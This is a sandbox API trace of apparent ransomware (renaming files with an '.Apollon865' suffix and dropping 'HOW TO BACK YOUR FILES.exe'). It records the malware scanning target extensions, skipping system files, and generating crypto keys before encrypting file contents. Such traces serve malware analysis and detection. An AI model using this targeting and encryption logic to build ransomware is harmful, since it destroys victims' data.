	[0062.992] lstrlenW (lpString="ddl") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0062.992] lstrlenW (lpString="dlis") returned 4
	[0062.992] lstrcmpiW (lpString1="d-ms", lpString2="dlis") returned 1
	[0062.992] lstrlenW (lpString="dp1") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0062.992] lstrlenW (lpString="dqy") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0062.993] lstrlenW (lpString="dsk") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0062.993] lstrlenW (lpString="dsn") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0062.993] lstrlenW (lpString="dtsx") returned 4
	[0062.993] lstrcmpiW (lpString1="d-ms", lpString2="dtsx") returned -1
	[0062.993] lstrlenW (lpString="dxl") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0062.993] lstrlenW (lpString="eco") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0062.993] lstrlenW (lpString="ecx") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0062.993] lstrlenW (lpString="edb") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0062.993] lstrlenW (lpString="epim") returned 4
	[0062.993] lstrcmpiW (lpString1="d-ms", lpString2="epim") returned -1
	[0062.993] lstrlenW (lpString="fcd") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0062.993] lstrlenW (lpString="fdb") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0062.993] lstrlenW (lpString="fic") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0062.993] lstrlenW (lpString="flexolibrary") returned 12
	[0062.993] lstrcmpiW (lpString1="ome~.feed-ms", lpString2="flexolibrary") returned 1
	[0062.993] lstrlenW (lpString="fm5") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0062.993] lstrlenW (lpString="fmp") returned 3
	[0062.993] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0062.993] lstrlenW (lpString="fmp12") returned 5
	[0062.993] lstrcmpiW (lpString1="ed-ms", lpString2="fmp12") returned -1
	[0062.993] lstrlenW (lpString="fmpsl") returned 5
	[0062.993] lstrcmpiW (lpString1="ed-ms", lpString2="fmpsl") returned -1
	[0062.994] lstrlenW (lpString="fol") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0062.994] lstrlenW (lpString="fp3") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0062.994] lstrlenW (lpString="fp4") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0062.994] lstrlenW (lpString="fp5") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0062.994] lstrlenW (lpString="fp7") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0062.994] lstrlenW (lpString="fpt") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0062.994] lstrlenW (lpString="frm") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0062.994] lstrlenW (lpString="gdb") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.994] lstrlenW (lpString="gdb") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.994] lstrlenW (lpString="grdb") returned 4
	[0062.994] lstrcmpiW (lpString1="d-ms", lpString2="grdb") returned -1
	[0062.994] lstrlenW (lpString="gwi") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0062.994] lstrlenW (lpString="hdb") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0062.994] lstrlenW (lpString="his") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0062.994] lstrlenW (lpString="ib") returned 2
	[0062.994] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0062.994] lstrlenW (lpString="idb") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0062.994] lstrlenW (lpString="ihx") returned 3
	[0062.994] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0062.994] lstrlenW (lpString="itdb") returned 4
	[0062.995] lstrcmpiW (lpString1="d-ms", lpString2="itdb") returned -1
	[0062.995] lstrlenW (lpString="itw") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0062.995] lstrlenW (lpString="jet") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0062.995] lstrlenW (lpString="jtx") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0062.995] lstrlenW (lpString="kdb") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0062.995] lstrlenW (lpString="kexi") returned 4
	[0062.995] lstrcmpiW (lpString1="d-ms", lpString2="kexi") returned -1
	[0062.995] lstrlenW (lpString="kexic") returned 5
	[0062.995] lstrcmpiW (lpString1="ed-ms", lpString2="kexic") returned -1
	[0062.995] lstrlenW (lpString="kexis") returned 5
	[0062.995] lstrcmpiW (lpString1="ed-ms", lpString2="kexis") returned -1
	[0062.995] lstrlenW (lpString="lgc") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0062.995] lstrlenW (lpString="lwx") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0062.995] lstrlenW (lpString="maf") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0062.995] lstrlenW (lpString="maq") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0062.995] lstrlenW (lpString="mar") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0062.995] lstrlenW (lpString="marshal") returned 7
	[0062.995] lstrcmpiW (lpString1="feed-ms", lpString2="marshal") returned -1
	[0062.995] lstrlenW (lpString="mas") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0062.995] lstrlenW (lpString="mav") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0062.995] lstrlenW (lpString="maw") returned 3
	[0062.995] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0062.996] lstrlenW (lpString="mdbhtml") returned 7
	[0062.996] lstrcmpiW (lpString1="feed-ms", lpString2="mdbhtml") returned -1
	[0062.996] lstrlenW (lpString="mdn") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0062.996] lstrlenW (lpString="mdt") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0062.996] lstrlenW (lpString="mfd") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0062.996] lstrlenW (lpString="mpd") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0062.996] lstrlenW (lpString="mrg") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0062.996] lstrlenW (lpString="mud") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0062.996] lstrlenW (lpString="mwb") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0062.996] lstrlenW (lpString="myd") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0062.996] lstrlenW (lpString="ndf") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0062.996] lstrlenW (lpString="nnt") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0062.996] lstrlenW (lpString="nrmlib") returned 6
	[0062.996] lstrcmpiW (lpString1="eed-ms", lpString2="nrmlib") returned -1
	[0062.996] lstrlenW (lpString="ns2") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0062.996] lstrlenW (lpString="ns3") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0062.996] lstrlenW (lpString="ns4") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0062.996] lstrlenW (lpString="nsf") returned 3
	[0062.996] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0062.996] lstrlenW (lpString="nv") returned 2
	[0062.997] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0062.997] lstrlenW (lpString="nv2") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0062.997] lstrlenW (lpString="nwdb") returned 4
	[0062.997] lstrcmpiW (lpString1="d-ms", lpString2="nwdb") returned -1
	[0062.997] lstrlenW (lpString="nyf") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0062.997] lstrlenW (lpString="odb") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0062.997] lstrlenW (lpString="odb") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0062.997] lstrlenW (lpString="oqy") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0062.997] lstrlenW (lpString="ora") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0062.997] lstrlenW (lpString="orx") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0062.997] lstrlenW (lpString="owc") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0062.997] lstrlenW (lpString="p96") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0062.997] lstrlenW (lpString="p97") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0062.997] lstrlenW (lpString="pan") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0062.997] lstrlenW (lpString="pdb") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0062.997] lstrlenW (lpString="pdm") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0062.997] lstrlenW (lpString="pnz") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0062.997] lstrlenW (lpString="qry") returned 3
	[0062.997] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0062.997] lstrlenW (lpString="qvd") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0062.998] lstrlenW (lpString="rbf") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0062.998] lstrlenW (lpString="rctd") returned 4
	[0062.998] lstrcmpiW (lpString1="d-ms", lpString2="rctd") returned -1
	[0062.998] lstrlenW (lpString="rod") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0062.998] lstrlenW (lpString="rodx") returned 4
	[0062.998] lstrcmpiW (lpString1="d-ms", lpString2="rodx") returned -1
	[0062.998] lstrlenW (lpString="rpd") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0062.998] lstrlenW (lpString="rsd") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0062.998] lstrlenW (lpString="sas7bdat") returned 8
	[0062.998] lstrcmpiW (lpString1=".feed-ms", lpString2="sas7bdat") returned -1
	[0062.998] lstrlenW (lpString="sbf") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0062.998] lstrlenW (lpString="scx") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0062.998] lstrlenW (lpString="sdb") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0062.998] lstrlenW (lpString="sdc") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0062.998] lstrlenW (lpString="sdf") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0062.998] lstrlenW (lpString="sis") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0062.998] lstrlenW (lpString="spq") returned 3
	[0062.998] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0062.998] lstrlenW (lpString="te") returned 2
	[0062.998] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0062.998] lstrlenW (lpString="teacher") returned 7
	[0062.998] lstrcmpiW (lpString1="feed-ms", lpString2="teacher") returned -1
	[0062.999] lstrlenW (lpString="tmd") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0062.999] lstrlenW (lpString="tps") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0062.999] lstrlenW (lpString="trc") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.999] lstrlenW (lpString="trc") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.999] lstrlenW (lpString="trm") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0062.999] lstrlenW (lpString="udb") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0062.999] lstrlenW (lpString="udl") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0062.999] lstrlenW (lpString="usr") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0062.999] lstrlenW (lpString="v12") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0062.999] lstrlenW (lpString="vis") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0062.999] lstrlenW (lpString="vpd") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0062.999] lstrlenW (lpString="vvv") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0062.999] lstrlenW (lpString="wdb") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0062.999] lstrlenW (lpString="wmdb") returned 4
	[0062.999] lstrcmpiW (lpString1="d-ms", lpString2="wmdb") returned -1
	[0062.999] lstrlenW (lpString="wrk") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0062.999] lstrlenW (lpString="xdb") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0062.999] lstrlenW (lpString="xld") returned 3
	[0062.999] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0063.000] lstrlenW (lpString="xmlff") returned 5
	[0063.000] lstrcmpiW (lpString1="ed-ms", lpString2="xmlff") returned -1
	[0063.000] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.Apollon865") returned 101
	[0063.000] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.apollon865"), dwFlags=0x1) returned 1
	[0063.002] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.002] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28672) returned 1
	[0063.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.003] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.003] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.003] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.003] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x154
	[0063.005] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000
	[0063.006] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.007] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.007] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0063.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0063.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.008] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.008] CloseHandle (hObject=0x154) returned 1
	[0063.008] CloseHandle (hObject=0x118) returned 1
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.009] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="..") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="windows") returned -1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="bootmgr") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="temp") returned -1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="pagefile.sys") returned -1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="boot") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="ids.txt") returned 1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="ntuser.dat") returned -1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="perflogs") returned -1
	[0063.009] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2="MSBuild") returned -1
	[0063.009] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0063.009] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 90
	[0063.009] lstrcpyW (in: lpString1=0x119e688, lpString2="Microsoft at Work~.feed-ms" | out: lpString1="Microsoft at Work~.feed-ms") returned="Microsoft at Work~.feed-ms"
	[0063.009] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0063.009] lstrlenW (lpString="Apollon865") returned 10
	[0063.009] lstrcmpiW (lpString1="k~.feed-ms", lpString2="Apollon865") returned 1
	[0063.009] lstrlenW (lpString=".dll") returned 4
	[0063.010] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".dll") returned 1
	[0063.010] lstrlenW (lpString=".lnk") returned 4
	[0063.010] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".lnk") returned 1
	[0063.010] lstrlenW (lpString=".ini") returned 4
	[0063.010] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".ini") returned 1
	[0063.010] lstrlenW (lpString=".sys") returned 4
	[0063.010] lstrcmpiW (lpString1="Microsoft at Work~.feed-ms", lpString2=".sys") returned 1
	[0063.010] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26
	[0063.010] lstrlenW (lpString="bak") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0063.010] lstrlenW (lpString="ba_") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0063.010] lstrlenW (lpString="dbb") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0063.010] lstrlenW (lpString="vmdk") returned 4
	[0063.010] lstrcmpiW (lpString1="d-ms", lpString2="vmdk") returned -1
	[0063.010] lstrlenW (lpString="rar") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0063.010] lstrlenW (lpString="zip") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0063.010] lstrlenW (lpString="tgz") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0063.010] lstrlenW (lpString="vbox") returned 4
	[0063.010] lstrcmpiW (lpString1="d-ms", lpString2="vbox") returned -1
	[0063.010] lstrlenW (lpString="vdi") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0063.010] lstrlenW (lpString="vhd") returned 3
	[0063.010] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0063.010] lstrlenW (lpString="vhdx") returned 4
	[0063.010] lstrcmpiW (lpString1="d-ms", lpString2="vhdx") returned -1
	[0063.010] lstrlenW (lpString="avhd") returned 4
	[0063.010] lstrcmpiW (lpString1="d-ms", lpString2="avhd") returned 1
	[0063.010] lstrlenW (lpString="db") returned 2
	[0063.010] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0063.011] lstrlenW (lpString="db2") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0063.011] lstrlenW (lpString="db3") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0063.011] lstrlenW (lpString="dbf") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0063.011] lstrlenW (lpString="mdf") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0063.011] lstrlenW (lpString="mdb") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0063.011] lstrlenW (lpString="sql") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0063.011] lstrlenW (lpString="sqlite") returned 6
	[0063.011] lstrcmpiW (lpString1="eed-ms", lpString2="sqlite") returned -1
	[0063.011] lstrlenW (lpString="sqlite3") returned 7
	[0063.011] lstrcmpiW (lpString1="feed-ms", lpString2="sqlite3") returned -1
	[0063.011] lstrlenW (lpString="sqlitedb") returned 8
	[0063.011] lstrcmpiW (lpString1=".feed-ms", lpString2="sqlitedb") returned -1
	[0063.011] lstrlenW (lpString="xml") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0063.011] lstrlenW (lpString="$er") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0063.011] lstrlenW (lpString="4dd") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0063.011] lstrlenW (lpString="4dl") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0063.011] lstrlenW (lpString="^^^") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0063.011] lstrlenW (lpString="abs") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0063.011] lstrlenW (lpString="abx") returned 3
	[0063.011] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0063.011] lstrlenW (lpString="accdb") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accdb") returned 1
	[0063.012] lstrlenW (lpString="accdc") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accdc") returned 1
	[0063.012] lstrlenW (lpString="accde") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accde") returned 1
	[0063.012] lstrlenW (lpString="accdr") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accdr") returned 1
	[0063.012] lstrlenW (lpString="accdt") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accdt") returned 1
	[0063.012] lstrlenW (lpString="accdw") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accdw") returned 1
	[0063.012] lstrlenW (lpString="accft") returned 5
	[0063.012] lstrcmpiW (lpString1="ed-ms", lpString2="accft") returned 1
	[0063.012] lstrlenW (lpString="adb") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0063.012] lstrlenW (lpString="adb") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0063.012] lstrlenW (lpString="ade") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0063.012] lstrlenW (lpString="adf") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0063.012] lstrlenW (lpString="adn") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0063.012] lstrlenW (lpString="adp") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0063.012] lstrlenW (lpString="alf") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0063.012] lstrlenW (lpString="ask") returned 3
	[0063.012] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
